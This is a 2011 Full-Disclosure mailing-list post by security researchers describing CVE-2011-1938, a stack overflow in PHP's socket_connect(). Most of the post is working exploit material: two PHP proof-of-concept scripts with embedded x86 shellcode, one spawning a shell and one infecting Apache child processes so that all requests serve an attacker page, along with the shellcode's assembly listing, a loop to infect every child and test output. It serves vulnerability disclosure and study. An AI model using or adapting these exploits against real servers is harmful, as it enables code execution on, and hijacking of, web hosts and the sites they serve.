[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20110524173610.GA6529@dft-labs.eu>
Date: Tue, 24 May 2011 18:36:10 +0100
From: Marek Kroemeke <kroemeke@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: CVE-2011-1938 PHP socket_connect() stack buffer
overflow
Hi there,
This is a quick writeup about some fun with apache based on CVE-2011-1938
that was disclosed yesterday. While the first POC was literally just a
trivial POC - the second one was written for self-educational purposes (we
leared quite a lot which is the most important thing) and we hope it might
be useful for some other vulnerabilities of this/similar type.
This is an old fashioned stack buffer overflow in the socket module,
problem occurs in the socket_connect. It uses memcpy to copy path from addr
to s_un without checking addr length in case when AF_UNIX socket is used.
POC popping a shell:
-- cut --
<?php
echo "[+] CVE-2011-1938";
echo "[+] there we go...\n";
define('EVIL_SPACE_ADDR', "\xff\xff\xee\xb3");
define('EVIL_SPACE_SIZE', 1024*1024*8);
$SHELLCODE =
"\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0".
"\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1".
"\xcd\x80";
echo "[+] creating the sled.\n";
$CODE = str_repeat("\x90", EVIL_SPACE_SIZE);
for ($i = 0, $j = EVIL_SPACE_SIZE - strlen($SHELLCODE) - 1 ;
$i < strlen($SHELLCODE) ; $i++, $j++) {
$CODE[$j] = $SHELLCODE[$i];
}
$b = str_repeat("A", 196).EVIL_SPACE_ADDR;
$var79 = socket_create(AF_UNIX, SOCK_STREAM, 1);
echo "[+] popping shell, have fun (if you picked the right address...)\n";
$var85 = socket_connect($var79,$b);
?>
-- cut --
Testing POC :
-- cut --
test@...t02:/home/n1x0n# php ./kaka4.php
[+] there we go...
[+] creating the sled.
[+] popping shell, have fun.
PHP Warning: socket_connect(): unable to connect [22]: Invalid argument in
/home/n1x0n/kaka4.php on line 16
bash-4.1#
-- cut --
Now, popping a shell from a .php file that we just uploaded is quite lame
and boring isn't (yes you can use remote connect back with RFI etc..) it ?
Instead we decided to create a shellcode that will do something less common
and more appropriate to this particular type of vulnerability. As we pretty
much have a _full_ control over the apache child process and it's memory -
we can do whatever we like with it. So one of the things that we considered
to be quite nifty was forcing apache child process to serve a page of our
choice. Few problems appeared at this point : how apache handles
connections, how to cleanly get back to apache from our shellcode, how to
keep our handler in memory and respond to requests etc etc... and after few
long nights of playing with this we managed to create a shellcode that
simply "infects" the apache child process that handled connection to our
"magic" php script, and all new requests that will be handled by this child
will return a page of our choice. We decided to create a simple apache
module, and use apache's built in functionality to generate
content(av_rputs), then to use mmap2 to keep our code in memory when our
shellcode leaves. Next step is to overwrite _hooks in apache and exit in a
neat way by signalling the process with SIGPROF thanks to which the signal
handler cleans everything up behind us. So the main idea is to "infect"
apache child process with our own code. If we do this several times - we
can infect _all_ apache child processes effectively hijacking _all_
requests comming into apache.
This is the result (obviously you need to guess/find few addresses due to
ASLR like av_rputs & _handle ). Other protections will prevent this from
working (like SSP,PIE and such).
BEFORE (everything works as expected):
-- cut --
test@...t02:~# curl localhost
<html><body><h1>It works!</h1></body></html>
test@...t02:~# curl http://localhost/this_does_not_exist
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /this_does_not_exist was not found on this server.</p>
</body></html>
-- cut --
Then we call our magic file few times, you'll see the SIGPERF signal sent
by a shellcode (this is a good sign ;-P ) :
-- cut --
test@...t02:~# curl http://localhost/cz.php
<br />
<b>Warning</b>: socket_connect() [<a
href='function.socket-connect'>function.socket-connect</a>]: unable to
connect [9]: Bad file descriptor in <b>/test/apacz/a/htdocs/cz.php</b>
on line <b>31</b><br />
<br />
<b>Fatal error</b>: Maximum execution time of 30 seconds exceeded in
<b>/test/apacz/a/htdocs/cz.php</b> on line <b>31</b><br />
-- cut --
This has to be done several times so that we inject code to all child pids
(not going to add more spam here with all these requests) :
for i in $(seq 1 512) ; do curl http://localhost/cz.php ; done
AFTER:
-- cut --
test@...t02:~# curl http://localhost/
pwned
test@...t02:~# curl http://localhost/does_not_exist
pwned
test@...t02:~# curl http://localhost/does_not_exist.php
pwned
test@...t02:~# curl http://localhost/does_not_exist.jpg
pwned
-- cut --
And this is the code with the infecting shellcode.
-- cut --
<?php
define('EVIL_SPACE_ADDR', "\x00\x00\xff\xb5");
define('EVIL_SPACE_SIZE', 1024*1024*16);
$SHELLCODE =
"\x31\xc9\x31\xd2\x31\xdb\x66\xb9\x00\x02\x66\xba\x07\x00\xbe\x22".
"\x00\x00\x00\xbf\xff\xff\xff\xff\x31\xed\xb8\xc0\x00\x00\x00\xcd".
"\x80\x89\xc7\x89\xc3\xeb\x2d\x5e\xb9\x00\x02\x00\x00\xf3\xa4\xb8".
"\xc0\xc2\x0c\x08\x8b\x40\x14\x8b\x40\x10\x89\x18\x31\xc0\x31\xdb".
"\x31\xc9\x66\xb8\x14\x00\xcd\x80\x89\xc3\x66\xb9\x1b\x00\x66\xb8".
"\x25\x00\xcd\x80\xe8\xce\xff\xff\xff\x55\x89\xe5\x8b\x5d\x08\x53".
"\xeb\x0e\xb8\x43\xd3\x06\x08\xff\xd0\x83\xc4\x08\x31\xc0\xc9\xc3".
"\xe8\xed\xff\xff\xff\x70\x77\x6e\x65\x64\x0a\x00";
/* allocate memory for shellcode */
$CODE = str_repeat("\x90", EVIL_SPACE_SIZE);
for ($i = 0, $j = EVIL_SPACE_SIZE - strlen($SHELLCODE) - 1 ; $i <
strlen($SHELLCODE) ; $i++, $j++) {
$CODE[$j] = $SHELLCODE[$i];
}
$b = str_repeat(EVIL_SPACE_ADDR,46);
$var79 = socket_create(AF_UNIX, SOCK_STREAM, 1);
$var85 = socket_connect($var79,$b);
?>
-- cut --
and above shellcode in a human readable form would be something along these
lines:
-- cut --
section .text
_start:
xor ecx, ecx
xor edx, edx
xor ebx, ebx ; NULL
mov cx,0x200 ; 512 bytes
mov dx,0x7 ; PROT_READ|PROT_WRITE|PROT_EXEC
mov esi,0x22 ; MAP_PRIVATE|MAP_ANONYMOUS
mov edi,0xffffffff ; -1
xor ebp, ebp ;
mov eax,0xc0 ; mmap()
int 80h
mov edi, eax
mov ebx, eax
jmp short handler
next_3:
pop esi
mov ecx, 0x200
rep movsb
mov eax, 0x80cc2c0
mov eax, [eax+0x14]
mov eax, [eax+0x10]
mov [eax], ebx
; kill(getpid(), SIGPROF)
xor eax, eax
xor ebx, ebx
xor ecx, ecx
mov ax, 20 ; getpid()
int 80h
mov ebx, eax ; pid
mov cx, 27 ; SIGPROF
mov ax, 37 ; kill()
int 80h
; not reached
handler:
call near next_3
push ebp
mov ebp, esp
mov ebx, [ebp+8]
push ebx
jmp short pwned
next_2:
mov eax, 0xb4dc0d3d
call eax
add esp, 8
xor eax, eax
leave
ret
pwned:
call near next_2
db "pwned",10,0
-- cut --
Found and exploited by:
Mateusz (shm) Kocielski, Filip (s1m0n) Palian and Marek (n1x0n) Kroemeke
Best regards,
Marek
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Powered by blists - more mailing lists